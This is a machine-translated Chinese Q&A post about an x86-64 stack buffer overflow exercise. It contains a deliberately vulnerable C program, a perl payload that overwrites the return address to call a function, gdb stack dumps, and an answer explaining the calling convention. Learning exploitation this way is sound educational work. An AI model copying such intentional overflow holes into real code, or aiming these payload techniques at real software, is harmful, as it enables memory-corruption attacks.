2013-11-24 20 views
0

我已經編寫了這個簡單的主體,我使用flag -fno-stack-protector進行了編譯。將參數傳遞給通過緩衝區溢出達到的函數

#include <stdio.h> 
int pos; 
char c = 0; 

void 
bof(unsigned int i) 
{ 
    fprintf(stderr, "BOF %u\n", i); 
} 

void 
foo() 
{ 
    unsigned char buf[3]; 
    while(c != 'X') { 
    scanf(" %c", &c); 
    buf[pos++] = c; 
    } 
} 

int 
main() { 
    fprintf(stderr, "%p\n", bof); 
    foo(); 
    return 0; 
} 

我試圖通過0〜BOF函數的輸入變量,以確保我包圍零的BOF函數的地址。 (注意我使用的是Ubuntu 12.04 v。64位):

perl -e'print「\ x00」x24。 「\ xa4 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00」。 「\ x00」x8。 「X」'

問題是用此緩衝區執行程序的打印結果不是零(它甚至不是常量),但是當我嘗試調試程序時: perl -e'print「\ x00 「x24。 「\ xa4 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00」。 「\ x00」x8。 「X」」>文件

(gdb) b 19 
Breakpoint 4 at 0x40061b: file main.c, line 19. 
(gdb) r < file 
The program being debugged has been started already. 

Start it from the beginning? (y or n) y 
Starting program: /home/badnack/Documents/Code/stuff/bof/bof < file 
0x4005a4 

Breakpoint 4, foo() at main.c:19 
19 } 
(gdb) l 
14 unsigned char buf[3]; 
15 while(c != 'X') { 
16  scanf(" %c", &c); 
17  buf[pos++] = c; 
18 } 
19 } 
20 
21 int 
22 main() { 
23 fprintf(stderr, "%p\n", bof); 
(gdb) l 
24 foo(); 
25 return 0; 
26 } 
(gdb) disass 
Dump of assembler code for function foo: 
    0x00000000004005d0 <+0>: push %rbp 
    0x00000000004005d1 <+1>: mov %rsp,%rbp 
    0x00000000004005d4 <+4>: sub $0x10,%rsp 
    0x00000000004005d8 <+8>: jmp 0x400610 <foo+64> 
    0x00000000004005da <+10>: mov $0x400755,%eax 
    0x00000000004005df <+15>: mov $0x601040,%esi 
    0x00000000004005e4 <+20>: mov %rax,%rdi 
    0x00000000004005e7 <+23>: mov $0x0,%eax 
    0x00000000004005ec <+28>: callq 0x4004b0 <[email protected]> 
    0x00000000004005f1 <+33>: mov 0x200a4d(%rip),%eax  # 0x601044 <pos> 
    0x00000000004005f7 <+39>: movzbl 0x200a42(%rip),%edx  # 0x601040 <c> 
    0x00000000004005fe <+46>: mov %edx,%ecx 
    0x0000000000400600 <+48>: movslq %eax,%rdx 
    0x0000000000400603 <+51>: mov %cl,-0x10(%rbp,%rdx,1) 
    0x0000000000400607 <+55>: add $0x1,%eax 
    0x000000000040060a <+58>: mov %eax,0x200a34(%rip)  # 0x601044 <pos> 
    0x0000000000400610 <+64>: movzbl 0x200a29(%rip),%eax  # 0x601040 <c> 
    0x0000000000400617 <+71>: cmp $0x58,%al 
    0x0000000000400619 <+73>: jne 0x4005da <foo+10> 
=> 0x000000000040061b <+75>: leaveq 
    0x000000000040061c <+76>: retq 
End of assembler dump. 
(gdb) ni 
0x000000000040061c 19 } 
(gdb) x/10xg $rsp 
0x7fffffffe278: 0x00000000004005a4 0x0000000000000000 
0x7fffffffe288: 0x00007ffff7a3b758 0x0000000000000000 
0x7fffffffe298: 0x00007fffffffe368 0x0000000100000000 
0x7fffffffe2a8: 0x000000000040061d 0x0000000000000000 
0x7fffffffe2b8: 0xbc2b8a4223791ede 0x00000000004004c0 
(gdb) n 
bof (i=0) at main.c:7 
7 { 
(gdb) x/10xg $rsp 
0x7fffffffe280: 0x0000000000000000 0x00007ffff7a3b758 
0x7fffffffe290: 0x0000000000000000 0x00007fffffffe368 
0x7fffffffe2a0: 0x0000000100000000 0x000000000040061d 
0x7fffffffe2b0: 0x0000000000000000 0xbc2b8a4223791ede 
0x7fffffffe2c0: 0x00000000004004c0 0x00007fffffffe360 
(gdb) n 
8  fprintf(stderr, "BOF %u\n", i); 
(gdb) n 
BOF 4158473024 
9 } 
(gdb) x/10xg $rsp 
0x7fffffffe268: 0x0000000000000000 0xf7dd434000000000 
0x7fffffffe278: 0x0000000000000000 0x0000000000000000 
0x7fffffffe288: 0x00007ffff7a3b758 0x0000000000000000 
0x7fffffffe298: 0x00007fffffffe368 0x0000000100000000 
0x7fffffffe2a8: 0x000000000040061d 0x0000000000000000 
(gdb) 

變量i似乎得到正確的值,但隨後被打印另一個值(這也正是0xf7dd434000000000十進制表示,這是怎麼回事?爲什麼記憶這個小區不目前還存在嗎?

回答

0

要準確地知道發生了什麼,我們必須看看函數bof的彙編代碼。無論如何,你的方法中的一個疏漏是你沒有將參數值寫入堆棧; 8字節返回地址「\ xa4 \ x05 \ x40 \ x00 \ x00 \ x00 \ x00 \ x00」從retqfoo中彈出堆棧 - 我們從前面的

0x7fffffffe278: 0x00000000004005a4 0x0000000000000000 
0x7fffffffe288: 0x00007ffff7a3b758 

retq

0x7fffffffe280: 0x0000000000000000 0x00007ffff7a3b758 
(在 bof現在)

之後。 「\ x00」x8現在代替bof的返回地址,如果bofcallq定期調用,則該地址將被推到堆棧頂部。

此外,用於調用約定似乎是System V Application Binary Interface,其中所述第一(並且在這種情況下,只有)參數來起作用bof寄存器%rdi被傳遞,而不是在堆棧。